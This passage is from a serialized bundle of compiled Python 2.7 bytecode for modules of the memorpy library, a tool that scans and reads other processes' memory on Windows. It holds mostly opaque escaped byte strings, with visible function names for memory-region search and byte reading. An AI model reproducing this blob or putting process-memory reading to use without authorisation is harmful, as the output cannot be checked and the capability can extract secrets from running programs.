\\x01\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00\\x83\\x02\\x00D]\\x8c\\x00}\\x04\\x00yp\\x00t\\x02\\x00j\\x03\\x00d\\x02\\x00\\x83\\x01\\x00\\\\\\x02\\x00}\\x05\\x00}\\x06\\x00t\\x04\\x00j\\x05\\x00|\\x05\\x00|\\x01\\x00|\\x04\\x00|\\x04\\x00d\\x03\\x00\\x17!\\x83\\x02\\x00d\\x01\\x00\\x19}\\x07\\x00t\\x06\\x00|\\x02\\x00\\x83\\x01\\x00t\\x06\\x00|\\x07\\x00\\x83\\x01\\x00k\\x02\\x00r\\x8b\\x00|\\x03\\x00|\\x04\\x00\\x17}\\x08\\x00|\\x00\\x00j\\x07\\x00|\\x08\\x00d\\x02\\x00\\x83\\x02\\x00V\\x01n\\x00\\x00Wq\\x16\\x00\\x04t\\x08\\x00k\\n\\x00r\\xa1\\x00\\x01}\\t\\x00\\x01q\\x16\\x00Xq\\x16\\x00Wd\\x00\\x00S(\\x04\\x00\\x00\\x00Ni\\x00\\x00\\x00\\x00R5\\x00\\x00\\x00i\\x04\\x00\\x00\\x00(\\t\\x00\\x00\\x00R;\\x00\\x00\\x00R<\\x00\\x00\\x00R"\\x00\\x00\\x00t\\x0b\\x00\\x00\\x00type_unpackR6\\x00\\x00\\x00t\\x06\\x00\\x00\\x00unpackR\\x17\\x00\\x00\\x00R\\x00\\x00\\x00\\x00t\\t\\x00\\x00\\x00Exception(\\n\\x00\\x00\\x00R\\t\\x00\\x00\\x00RD\\x00\\x00\\x00R\\x10\\x00\\x00\\x00RE\\x00\\x00\\x00t\\x05\\x00\\x00\\x00indext\\n\\x00\\x00\\x00structtypet\\t\\x00\\x00\\x00structlent\\x06\\x00\\x00\\x00tmpvalt\\x07\\x00\\x00\\x00soffsett\\x01\\x00\\x00\\x00e(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x14\\x00\\x00\\x00parse_float_functionn\\x00\\x00\\x00s\\x12\\x00\\x00\\x00\\x00\\x01\\x1c\\x01\\x03\\x01\\x15\\x01!\\x01\\x18\\x01\\n\\x01\\x18\\x01\\x0f\\x01c\\x04\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x04\\x00\\x00\\x00c\\x00\\x00\\x00sF\\x00\\x00\\x00x?\\x00|\\x02\\x00D]7\\x00\\\\\\x02\\x00}\\x04\\x00}\\x05\\x00x(\\x00|\\x05\\x00j\\x00\\x00|\\x01\\x00\\x83\\x01\\x00D]\\x17\\x00}\\x06\\x00|\\x04\\x00|\\x06\\x00j\\x01\\x00\\x83\\x00\\x00f\\x02\\x00V\\x01q#\\x00Wq\\x07\\x00Wd\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00RB\\x00\\x00\\x00t\\t\\x00\\x00\\x00groupdict(\\x07\\x00\\x00\\x00R\\t\\x00\\x00\\x00RD\\x00\\x00\\x00R\\x10\\x00\\x00\\x00RE\\x00\\x00\\x00R\\x04\\x00\\x00\\x00R)\\x00\\x00\\x00RF\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x1b\\x00\\x00\\x00parse_named_groups_functiony\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x00\\x01\\x13\\x01\\x16\\x01c\\x04\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x04\\x00\\x00\\x00c\\x00\\x00\\x00sF\\x00\\x00\\x00x?\\x00|\\x02\\x00D]7\\x00\\\\\\x02\\x00}\\x04\\x00}\\x05\\x00x(\\x00|\\x05\\x00j\\x00\\x00|\\x01\\x00\\x83\\x01\\x00D]\\x17\\x00}\\x06\\x00|\\x04\\x00|\\x06\\x00j\\x01\\x00\\x83\\x00\\x00f\\x02\\x00V\\x01q#\\x00Wq\\x07\\x00Wd\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00RB\\x00\\x00\\x00t\\x06\\x00\\x00\\x00groups(\\x07\\x00\\x00\\x00R\\t\\x00\\x00\\x00RD\\x00\\x00\\x00R\\x10\\x00\\x00\\x00RE\\x00\\x00\\x00R\\x04\\x00\\x00\\x00R)\\x00\\x00\\x00RF\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x15\\x00\\x00\\x00parse_groups_function~\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x00\\x01\\x13\\x01\\x16\\x01c\\x04\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x04\\x00\\x00\\x00c\\x00\\x00\\x00sW\\x00\\x00\\x00|\\x01\\x00j\\x00\\x00|\\x02\\x00\\x83\\x01\\x00}\\x04\\x00xA\\x00|\\x04\\x00d\\x01\\x00k\\x03\\x00rR\\x00|\\x03\\x00|\\x04\\x00\\x17}\\x05\\x00|\\x00\\x00j\\x01\\x00|\\x05\\x00d\\x02\\x00\\x83\\x02\\x00V\\x01|\\x01\\x00j\\x00\\x00|\\x02\\x00|\\x04\\x00d\\x03\\x00\\x17\\x83\\x02\\x00}\\x04\\x00q\\x12\\x00Wd\\x00\\x00S(\\x04\\x00\\x00\\x00Ni\\xff\\xff\\xff\\xffRA\\x00\\x00\\x00i\\x01\\x00\\x00\\x00(\\x02\\x00\\x00\\x00t\\x04\\x00\\x00\\x00findR\\x00\\x00\\x00\\x00(\\x06\\x00\\x00\\x00R\\t\\x00\\x00\\x00RD\\x00\\x00\\x00R\\x10\\x00\\x00\\x00RE\\x00\\x00\\x00RK\\x00\\x00\\x00RO\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x12\\x00\\x00\\x00parse_any_function\\x83\\x00\\x00\\x00s\\n\\x00\\x00\\x00\\x00\\x01\\x0f\\x01\\x0f\\x01\\n\\x01\\x11\\x01t\\x05\\x00\\x00\\x00matchc\\x07\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\t\\x00\\x00\\x00c\\x00\\x00\\x00s\\x96\\x03\\x00\\x00|\\x02\\x00d\\x01\\x00k\\x02\\x00s$\\x00|\\x02\\x00d\\x02\\x00k\\x02\\x00s$\\x00|\\x02\\x00d\\x03\\x00k\\x02\\x00r\\x0c\\x01t\\x00\\x00|\\x01\\x00\\x83\\x01\\x00t\\x01\\x00k\\t\\x00rB\\x00|\\x01\\x00g\\x01\\x00}\\x01\\x00n\\x00\\x00g\\x00\\x00}\\x07\\x00x\\xb8\\x00|\\x01\\x00D]\\xb0\\x00}\\x08\\x00t\\x00\\x00|\\x08\\x00\\x83\\x01\\x00t\\x02\\x00k\\x08\\x00r\\xb0\\x00|\\x08\\x00d\\x04\\x00\\x19}\\t\\x00t\\x00\\x00|\\x08\\x00d\\x05\\x00\\x19\\x83\\x01\\x00t\\x03\\x00k\\x03\\x00r\\xa3\\x00t\\x04\\x00j\\x05\\x00|\\x08\\x00d\\x05\\x00\\x19t\\x04\\x00j\\x06\\x00\\x83\\x02\\x00}\\n\\x00q\\xec\\x00|\\x08\\x00d\\x05\\x00\\x19}\\n\\x00n<\\x00t\\x00\\x00|\\x08\\x00\\x83\\x01\\x00t\\x03\\x00k\\x02\\x00r\\xd1\\x00d\\x06\\x00}\\t\\x00|\\x08\\x00}\\n\\x00n\\x1b\\x00d\\x06\\x00}\\t\\x00t\\x04\\x00j\\x05\\x00|\\x08\\x00t\\x04\\x00j\\x06\\x00\\x83\\x02\\x00}\\n\\x00|\\x07\\x00j\\x07\\x00|\\t\\x00|\\n\\x00f\\x02\\x00\\x83\\x01\\x00\\x01qO\\x00W|\\x07\\x00}\\x01\\x00nr\\x00|\\x02\\x00d\\x07\\x00k\\x03\\x00r~\\x01|\\x02\\x00d\\x08\\x00k\\x03\\x00r~\\x01|\\x02\\x00d\\x01\\x00k\\x03\\x00r~\\x01|\\x02\\x00d\\x02\\x00k\\x03\\x00r~\\x01|\\x02\\x00d\\x03\\x00k\\x03\\x00r~\\x01|\\x02\\x00d\\t\\x00k\\x03\\x00r~\\x01t\\x08\\x00j\\t\\x00|\\x02\\x00\\x83\\x01\\x00\\\\\\x02\\x00}\\x0b\\x00}\\x0c\\x00t\\n\\x00j\\x0b\\x00|\\x0b\\x00|\\x01\\x00\\x83\\x02\\x00}\\x01\\x00n\\x00\\x00|\\x02\\x00d\\x01\\x00k\\x02\\x00r\\x96\\x01|\\x00\\x00j\\x0c\\x00}\\r\\x00nf\\x00|\\x02\\x00d\\x02\\x00k\\x02\\x00r\\xae\\x01|\\x00\\x00j\\r\\x00}\\r\\x00nN\\x00|\\x02\\x00d\\x03\\x00k\\x02\\x00r\\xc6\\x01|\\x00\\x00j\\x0e\\x00}\\r\\x00n6\\x00|\\x02\\x00d\\n\\x00k\\x02\\x00r\\xde\\x01|\\x00\\x00j\\x0f\\x00}\\r\\x00n\\x1e\\x00|\\x02\\x00d\\t\\x00k\\x02\\x00r\\xf3\\x01|\\x01\\x00}\\r\\x00n\\t\\x00|\\x00\\x00j\\x10\\x00}\\r\\x00|\\x00\\x00j\\x11\\x00j\\x12\\x00s!\\x02t\\x13\\x00d\\x0b\\x00|\\x00\\x00j\\x11\\x00j\\x14\\x00\\x16\\x83\\x01\\x00\\x82\\x01\\x00n\\x00\\x00xn\\x01|\\x00\\x00j\\x11\\x00j\\x15\\x00d\\x0c\\x00|\\x05\\x00d\\r\\x00|\\x06\\x00d\\x0e\\x00|\\x03\\x00d\\x0f\\x00|\\x04\\x00\\x83\\x00\\x04D]E\\x01\\\\\\x02\\x00}\\x0e\\x00}\\x0f\\x00d\\x06\\x00}\\x10\\x00|\\x0e\\x00}\\x11\\x00d\\x04\\x00}\\x12\\x00t\\x16\\x00}\\x13\\x00x\\xb9\\x00|\\x12\\x00|\\x0f\\x00k\\x00\\x00r(\\x03z\\x91\\x00y\\x1d\\x00|\\x10\\x00|\\x00\\x00j\\x11\\x00j\\x17\\x00|\\x11\\x00|\\x0f\\x00\\x83\\x02\\x007}\\x10\\x00Wnm\\x00\\x04t\\x18\\x00k\\n\\x00r\\xe5\\x02\\x01}\\x14\\x00\\x01t\\x19\\x00j\\x1a\\x00\\x83\\x00\\x00GH|\\x14\\x00j\\x1b\\x00d\\x10\\x00k\\x02\\x00r\\xce\\x02\\x82\\x00\\x00n\\r\\x00t\\x1c\\x00j\\x1d\\x00|\\x14\\x00\\x83\\x01\\x00\\x01t\\x1e\\x00}\\x13\\x00Pn\\\'\\x00\\x04t\\x1f\\x00k\\n\\x00r\\x0b\\x03\\x01}\\x14\\x00\\x01t\\x1c\\x00j\\x1d\\x00|\\x14\\x00\\x83\\x01\\x00\\x01t\\x1e\\x00}\\x13\\x00Pn\\x01\\x00XWd\\x11\\x00|\\x11\\x00|\\x0f\\x007}\\x11\\x00|\\x12\\x00|\\x0f\\x007}\\x12\\x00Xqp\\x02W|\\x13\\x00r5\\x03qI\\x02n\\x00\\x00|\\x10\\x00rI\\x02|\\x02\\x00d\\t\\x00k\\x02\\x00ri\\x03xA\\x00|\\r\\x00|\\x10\\x00|\\x0e\\x00\\x83\\x02\\x00D]\\x0b\\x00}\\x15\\x00|\\x15\\x00V\\x01qW\\x03Wq\\x8e\\x03x"\\x00|\\r\\x00|\\x10\\x00|\\x01\\x00|\\x0e\\x00\\x83\\x03\\x00D]\\x0b\\x00}\\x15\\x00|\\x15\\x00V\\x01q|\\x03WqI\\x02qI\\x02Wd\\x11\\x00S(\\x12\\x00\\x00\\x00sZ\\x00\\x00\\x00 \\n iterator returning all indexes where the pattern has been found\\n R&\\x00\\x00\\x00RT\\x00\\x00\\x00t\\x07\\x00\\x00\\x00ngroupsi\\x00\\x00\\x00\\x00i\\x01\\x00\\x00\\x00R3\\x00\\x00\\x00RX\\x00\\x00\\x00R9\\x00\\x00\\x00t\\x06\\x00\\x00\\x00lambdaR5\\x00\\x00\\x00s(\\x00\\x00\\x00Can\\\'t read_bytes, process %s is not openR\\x0b\\x00\\x00\\x00R\\n\\x00\\x00\\x00t\\x06\\x00\\x00\\x00protect\\r\\x00\\x00\\x00optimizationsi\\r\\x00\\x00\\x00N( \\x00\\x00\\x00R\\x0f\\x00\\x00\\x00t\\x04\\x00\\x00\\x00listt\\x05\\x00\\x00\\x00tuplet\\n\\x00\\x00\\x00REGEX_TYPER&\\x00\\x00\\x00R\\\'\\x00\\x00\\x00t\\n\\x00\\x00\\x00IGNORECASEt\\x06\\x00\\x00\\x00appendR"\\x00\\x00\\x00RH\\x00\\x00\\x00R6\\x00\\x00\\x00R7\\x00\\x00\\x00RG\\x00\\x00\\x00RU\\x00\\x00\\x00RS\\x00\\x00\\x00RQ\\x00\\x00\\x00RW\\x00\\x00\\x00R\\x08\\x00\\x00\\x00t\\r\\x00\\x00\\x00isProcessOpent\\x10\\x00\\x00\\x00ProcessExceptionR\\x05\\x00\\x00\\x00t\\x0b\\x00\\x00\\x00iter_regionR.\\x00\\x00\\x00t\\n\\x00\\x00\\x00read_bytest\\x07\\x00\\x00\\x00IOErrorR\\x11\\x00\\x00\\x00t\\n\\x00\\x00\\x00format_exct\\x05\\x00\\x00\\x00errnoR\\x1c\\x00\\x00\\x00t\\x07\\x00\\x00\\x00warningR,\\x00\\x00\\x00RJ\\x00\\x00\\x00(\\x16\\x00\\x00\\x00R\\t\\x00\\x00\\x00R\\x10\\x00\\x00\\x00R\\x15\\x00\\x00\\x00R[\\x00\\x00\\x00R\\\\\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R\\n\\x00\\x00\\x00t\\x03\\x00\\x00\\x00tmpt\\x03\\x00\\x00\\x00regR\\x04\\x00\\x00\\x00R)\\x00\\x00\\x00RL\\x00\\x00\\x00RM\\x00\\x00\\x00t\\x04\\x00\\x00\\x00funcRE\\x00\\x00\\x00t\\n\\x00\\x00\\x00chunk_sizeRD\\x00\\x00\\x00t\\x0e\\x00\\x00\\x00current_offsett\\n\\x00\\x00\\x00chunk_readt\\t\\x00\\x00\\x00chunk_excRP\\x00\\x00\\x00RF\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR\\x19\\x00\\x00\\x00\\x8a\\x00\\x00\\x00s~\\x00\\x00\\x00\\x00\\x06$\\x03\\x12\\x01\\x0c\\x02\\x06\\x01\\r\\x01\\x12\\x01\\n\\x01\\x16\\x01\\x1c\\x02\\r\\x01\\x12\\x01\\x06\\x01\\t\\x02\\x06\\x01\\x15\\x03\\x17\\x01\\t\\x02H\\x01\\x15\\x01\\x15\\x03\\x0c\\x01\\x0c\\x02\\x0c\\x01\\x0c\\x02\\x0c\\x01\\x0c\\x02\\x0c\\x01\\x0c\\x01\\x0c\\x01\\t\\x02\\t\\x02\\x0c\\x01\\x19\\x024\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x0f\\x01\\x03\\x00\\x03\\x01\\x1d\\x01\\x0f\\x01\\x0b\\x01\\x0f\\x01\\x06\\x02\\r\\x01\\x06\\x01\\x04\\x01\\x0f\\x01\\r\\x01\\x06\\x01\\t\\x02\\n\\x01\\x0f\\x02\\x06\\x01\\x06\\x02\\x06\\x01\\x0c\\x01\\x16\\x01\\x0c\\x02\\x19\\x01N(\\x15\\x00\\x00\\x00t\\x08\\x00\\x00\\x00__name__t\\n\\x00\\x00\\x00__module__t\\x04\\x00\\x00\\x00NoneR,\\x00\\x00\\x00R\\x0c\\x00\\x00\\x00R\\r\\x00\\x00\\x00R\\x12\\x00\\x00\\x00R\\x00\\x00\\x00\\x00R!\\x00\\x00\\x00R+\\x00\\x00\\x00R%\\x00\\x00\\x00R2\\x00\\x00\\x00R:\\x00\\x00\\x00RG\\x00\\x00\\x00RQ\\x00\\x00\\x00RS\\x00\\x00\\x00RU\\x00\\x00\\x00RW\\x00\\x00\\x00t\\x0e\\x00\\x00\\x00PAGE_READWRITEt\\r\\x00\\x00\\x00PAGE_READONLYR\\x19\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR\\x03\\x00\\x00\\x00\\x1f\\x00\\x00\\x00s \\x00\\x00\\x00\\x06\\x02\\x18\\x03\\t\\x03\\t\\x03\\x0c\\x04\\t\\x06\\t\\x06\\t\\x0c\\t\\x06\\x0f\\x0b\\t\\t\\t\\x0e\\t\\x0b\\x0c\\x05\\x0c\\x05\\t\\x07(\\x12\\x00\\x00\\x00t\\x03\\x00\\x00\\x00syst\\x06\\x00\\x00\\x00stringR&\\x00\\x00\\x00t\\x07\\x00\\x00\\x00loggingR\\x07\\x00\\x00\\x00R"\\x00\\x00\\x00R6\\x00\\x00\\x00R\\x00\\x00\\x00\\x00R\\x11\\x00\\x00\\x00R=\\x00\\x00\\x00t\\n\\x00\\x00\\x00structurest\\t\\x00\\x00\\x00getLoggerR\\x1c\\x00\\x00\\x00R\\x0f\\x00\\x00\\x00R\\\'\\x00\\x00\\x00R_\\x00\\x00\\x00t\\x06\\x00\\x00\\x00objectR\\x03\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x08\\x00\\x00\\x00\\x10\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x10\\x01\\x0c\\x01\\x0c\\x01\\n\\x02\\x0f\\x02\\x15\\x01\'\np17\nsS\'memorpy/utils.pyc\'\np18\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00@\\x00\\x00\\x00s@\\x00\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x01\\x00Z\\x01\\x00d\\x02\\x00\\x84\\x00\\x00Z\\x02\\x00d\\x03\\x00\\x84\\x00\\x00Z\\x03\\x00d\\x04\\x00d\\x05\\x00d\\x06\\x00d\\x07\\x00\\x84\\x03\\x00Z\\x04\\x00d\\x01\\x00S(\\x08\\x00\\x00\\x00i\\xff\\xff\\xff\\xffNc\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00C\\x00\\x00\\x00s2\\x00\\x00\\x00d\\x01\\x00}\\x01\\x00x%\\x00|\\x00\\x00D]\\x1d\\x00}\\x02\\x00|\\x01\\x00t\\x00\\x00j\\x01\\x00|\\x02\\x00\\x83\\x01\\x00d\\x02\\x00\\x177}\\x01\\x00q\\r\\x00W|\\x01\\x00S(\\x03\\x00\\x00\\x00Nt\\x00\\x00\\x00\\x00s\\x04\\x00\\x00\\x00\\\\x00(\\x02\\x00\\x00\\x00t\\x02\\x00\\x00\\x00ret\\x06\\x00\\x00\\x00escape(\\x03\\x00\\x00\\x00t\\x01\\x00\\x00\\x00st\\t\\x00\\x00\\x00newstringt\\x01\\x00\\x00\\x00c(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sM\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/utils.pyt\\r\\x00\\x00\\x00re_to_unicode\\x14\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x00\\x01\\x06\\x01\\r\\x01\\x1b\\x02c\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\x0e\\x01\\x00\\x00|\\x00\\x00j\\x00\\x00\\x83\\x00\\x00}\\x00\\x00d\\x16\\x00}\\x01\\x00d\\x16\\x00}\\x02\\x00|\\x00\\x00d\\x01\\x00k\\x02\\x00r3\\x00d\\x02\\x00}\\x01\\x00d\\x03\\x00}\\x02\\x00n\\xcd\\x00|\\x00\\x00d\\x04\\x00k\\x02\\x00rN\\x00d\\x05\\x00}\\x01\\x00d\\x03\\x00}\\x02\\x00n\\xb2\\x00|\\x00\\x00d\\x06\\x00k\\x02\\x00ri\\x00d\\x07\\x00}\\x01\\x00d\\x08\\x00}\\x02\\x00n\\x97\\x00|\\x00\\x00d\\t\\x00k\\x02\\x00r\\x84\\x00d\\n\\x00}\\x01\\x00d\\x08\\x00}\\x02\\x00n|\\x00|\\x00\\x00d\\x0b\\x00k\\x02\\x00r\\x9f\\x00d\\x0c\\x00}\\x01\\x00d\\x08\\x00}\\x02\\x00na\\x00|\\x00\\x00d\\r\\x00k\\x02\\x00r\\xba\\x00d\\x0e\\x00}\\x01\\x00d\\x08\\x00}\\x02\\x00nF\\x00|\\x00\\x00d\\x0f\\x00k\\x02\\x00r\\xd5\\x00d\\x10\\x00}\\x01\\x00d\\x08\\x00}\\x02\\x00n+\\x00|\\x00\\x00d\\x11\\x00k\\x02\\x00r\\xf0\\x00d\\x12\\x00}\\x01\\x00d\\x13\\x00}\\x02\\x00n\\x10\\x00t\\x02\\x00d\\x14\\x00|\\x00\\x00\\x16\\x83\\x01\\x00\\x82\\x01\\x00d\\x15\\x00|\\x01\\x00\\x17|\\x02\\x00f\\x02\\x00S(\\x17\\x00\\x00\\x00s4\\x00\\x00\\x00 return the struct and the len of a particular type t\\x05\\x00\\x00\\x00shortt\\x01\\x00\\x00\\x00hi\\x02\\x00\\x00\\x00t\\x06\\x00\\x00\\x00ushortt\\x01\\x00\\x00\\x00Ht\\x03\\x00\\x00\\x00intt\\x01\\x00\\x00\\x00ii\\x04\\x00\\x00\\x00t\\x04\\x00\\x00\\x00uintt\\x01\\x00\\x00\\x00It\\x04\\x00\\x00\\x00longt\\x01\\x00\\x00\\x00lt\\x05\\x00\\x00\\x00ulongt\\x01\\x00\\x00\\x00Lt\\x05\\x00\\x00\\x00floatt\\x01\\x00\\x00\\x00ft\\x06\\x00\\x00\\x00doublet\\x01\\x00\\x00\\x00di\\x08\\x00\\x00\\x00s\\x0f\\x00\\x00\\x00Unknown type %st\\x01\\x00\\x00\\x00\\x00\\x00\\x00sZ\\x00\\x00\\x00\\x00\\x04\\x06\\x01\\x06\\x01\\x0c\\x01\\x12\\x01\\x1f\\x01\\x10\\x01\\n\\x01\\r\\x01$\\x01\\r\\x02\\x0e\\x02\\x14\\x01\\t\\x01\\x06\\x01\\x03\\x01\\x11\\x01\\x1a\\x01\\x0f\\x01\\t\\x02\\x0c\\x01\\x16\\x01\\x0c\\x01\\x16\\x02\\x13\\x01\\x11\\x03\\r\\x01\\x10\\x01\\n\\x01\\r\\x01$\\x01\\r\\x02\\x0e\\x02\\x14\\x01\\t\\x01\\x14\\x01\\n\\x01\\x0e\\x02\\n\\x01\\x0c\\x01\\x19\\x01\\r\\x01$\\x01\\r\\x02\\x0e\\x02(\\x05\\x00\\x00\\x00R\\x01\\x00\\x00\\x00R$\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x1c\\x00\\x00\\x00R6\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sM\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/utils.pyt\\x08\\x00\\x00\\x00\\x11\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x0c\\x01\\x0c\\x02\\t\\x08\\t"\'\np19\nsS\'memorpy/wintools.pyc\'\np20\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00@\\x00\\x00\\x00s5\\x00\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00m\\x01\\x00Z\\x01\\x00\\x01d\\x00\\x00d\\x02\\x00l\\x02\\x00Z\\x02\\x00d\\x03\\x00\\x84\\x00\\x00Z\\x03\\x00d\\x04\\x00d\\x05\\x00\\x84\\x01\\x00Z\\x04\\x00d\\x02\\x00S(\\x06\\x00\\x00\\x00i\\xff\\xff\\xff\\xff(\\x01\\x00\\x00\\x00t\\x06\\x00\\x00\\x00windllNc\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s5\\x00\\x00\\x00d\\x01\\x00d\\x00\\x00l\\x00\\x00}\\x00\\x00|\\x00\\x00j\\x01\\x00d\\x02\\x00t\\x02\\x00\\x83\\x00\\x01}\\x01\\x00t\\x03\\x00|\\x01\\x00_\\x04\\x00|\\x01\\x00j\\x05\\x00\\x83\\x00\\x00\\x01d\\x00\\x00S(\\x03\\x00\\x00\\x00Ni\\xff\\xff\\xff\\xfft\\x06\\x00\\x00\\x00target(\\x06\\x00\\x00\\x00t\\t\\x00\\x00\\x00threadingt\\x06\\x00\\x00\\x00Threadt\\x16\\x00\\x00\\x00window_foreground_loopt\\x04\\x00\\x00\\x00Truet\\x06\\x00\\x00\\x00daemont\\x05\\x00\\x00\\x00start(\\x02\\x00\\x00\\x00R\\x02\\x00\\x00\\x00t\\x01\\x00\\x00\\x00t(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sP\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/wintools.pyt\\x1a\\x00\\x00\\x00start_winforeground_daemon\\x14\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x00\\x01\\x0c\\x01\\x12\\x01\\t\\x01i\\x14\\x00\\x00\\x00c\\x01\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\t\\x00\\x00\\x00C\\x00\\x00\\x00se\\x00\\x00\\x00t\\x00\\x00j\\x01\\x00j\\x02\\x00\\x83\\x00\\x00}\\x01\\x00d\\x01\\x00}\\x02\\x00d\\x02\\x00}\\x03\\x00d\\x03\\x00}\\x04\\x00x=\\x00t\\x03\\x00r`\\x00t\\x00\\x00j\\x04\\x00j\\x05\\x00|\\x01\\x00|\\x02\\x00d\\x04\\x00d\\x04\\x00d\\x04\\x00d\\x04\\x00|\\x03\\x00|\\x04\\x00B\\x83\\x07\\x00\\x01t\\x06\\x00j\\x07\\x00|\\x00\\x00\\x83\\x01\\x00\\x01q$\\x00Wd\\x05\\x00S(\\x06\\x00\\x00\\x00so\\x00\\x00\\x00 set the windows python console to the foreground (for example when you are working with a fullscreen program) i\\xff\\xff\\xff\\xffi\\x02\\x00\\x00\\x00i\\x01\\x00\\x00\\x00i\\x00\\x00\\x00\\x00N(\\x08\\x00\\x00\\x00R\\x00\\x00\\x00\\x00t\\x08\\x00\\x00\\x00kernel32t\\x10\\x00\\x00\\x00GetConsoleWindowR\\x05\\x00\\x00\\x00t\\x06\\x00\\x00\\x00user32t\\x0c\\x00\\x00\\x00SetWindowPost\\x04\\x00\\x00\\x00timet\\x05\\x00\\x00\\x00sleep(\\x05\\x00\\x00\\x00t\\x07\\x00\\x00\\x00timeoutt\\x04\\x00\\x00\\x00hwndt\\x0c\\x00\\x00\\x00HWND_TOPMOSTt\\n\\x00\\x00\\x00SWP_NOMOVEt\\n\\x00\\x00\\x00SWP_NOSIZE(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sP\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/wintools.pyR\\x04\\x00\\x00\\x00\\x1a\\x00\\x00\\x00s\\x0e\\x00\\x00\\x00\\x00\\x02\\x0f\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\t\\x01&\\x01(\\x05\\x00\\x00\\x00t\\x06\\x00\\x00\\x00ctypesR\\x00\\x00\\x00\\x00R\\x0e\\x00\\x00\\x00R\\t\\x00\\x00\\x00R\\x04\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sP\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/wintools.pyt\\x08\\x00\\x00\\x00\\x11\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x10\\x01\\x0c\\x02\\t\\x06\'\np21\nsS\'memorpy/WinProcess.pyc\'\np22\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00@\\x00\\x00\\x00s\\x04\\x01\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00m\\x01\\x00Z\\x01\\x00m\\x02\\x00Z\\x02\\x00m\\x03\\x00Z\\x03\\x00m\\x04\\x00Z\\x04\\x00m\\x05\\x00Z\\x05\\x00m\\x06\\x00Z\\x06\\x00m\\x07\\x00Z\\x07\\x00m\\x08\\x00Z\\x08\\x00m\\t\\x00Z\\t\\x00\\x01d\\x00\\x00d\\x02\\x00l\\n\\x00Td\\x00\\x00d\\x03\\x00l\\x0b\\x00Z\\x0b\\x00d\\x00\\x00d\\x03\\x00l\\x0c\\x00Z\\x0c\\x00d\\x00\\x00